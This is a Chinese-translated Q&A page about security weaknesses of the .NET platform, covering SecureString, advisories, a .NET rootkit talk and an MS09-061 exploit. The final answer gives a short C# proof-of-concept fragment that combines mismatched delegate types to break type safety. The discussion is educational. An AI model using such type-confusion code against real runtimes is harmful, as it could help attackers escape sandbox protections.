簡體   English   中英

.NET平台的安全漏洞?

[英]Security vulnerabilities of the .NET platform?

我正在研究.NET安全性。 大多數消息來源只描述了.NET安全機制,但是甚至沒有任何可能的漏洞或事情要記住。 你知道.NET平台上有任何安全問題嗎?

.NET世界中安全問題的主要來源是使用它的開發人員。 使用任何框架編寫應用程序都很容易,.NET框架也不是更好。

除此之外,我能想到的唯一主要問題是使用String而不是SecureString來存儲敏感數據(如密碼)的所有控件。 .NET框架的每個版本都比上一個版本好,但我認為仍有幾個常用控件不使用它們。

SecureString可以被認為是一個存儲在加密內存中的String,在使用后會從內存中刪除。 由於.NET中的字符串是不可變的,因此任何新字符串都將存儲在共享位置的內存中,以便具有相同值的新字符串可以共享該內存位置。 這意味着存儲在字符串中的敏感數據相對容易掌握。

你可以看看Secunia 它們顯示了.NET 2.0的14個漏洞,零補丁未修補。

你真的需要查看Keith Brown 關於這個主題優秀書籍 ,這是一個很好的起點。 到目前為止已經10歲了,但概念沒有改變。

一個非常有趣的,但不一定是可利用的(因為你總有需要root訪問權),請在今年的黑帽這次談話 (嗯,現在繼續)通過埃雷茲Metula,利用一些技巧來破解.NET框架並實現“.NET Rootkit”。

這是MS09-061的漏洞利用。

在我的示例類型安全漏洞中,我使用了union來繞過類型安全。 這不是一個真正的安全漏洞,因為這種聯盟需要完全信任。 但是,如果我們可以組合兩種不同的委托類型,我們也可以這樣做,因為缺少類型檢查,這是可能的。

如果您使用TypeSafetyExploitPoC.cs並使用以下內容替換TypeSystemHole方法,並添加對包含CombinePoCHelper.il的程序集的引用(用MSIL編寫,因為這是編寫您自己的MulticastDelegate子類的最簡單方法,可以調用受保護的CombineImpl方法)。

delegate void AnotherDelegate(Union1 u2); 

    static Union1 TypeSystemHole(Union2 u2)
    {
      Union1 u1 = null;
      CombineHelper del1 = delegate { };
      AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };
      del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);
      del1(u2);
      return u1;
    }

這種情況再次發生的可能性很低恕我直言。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM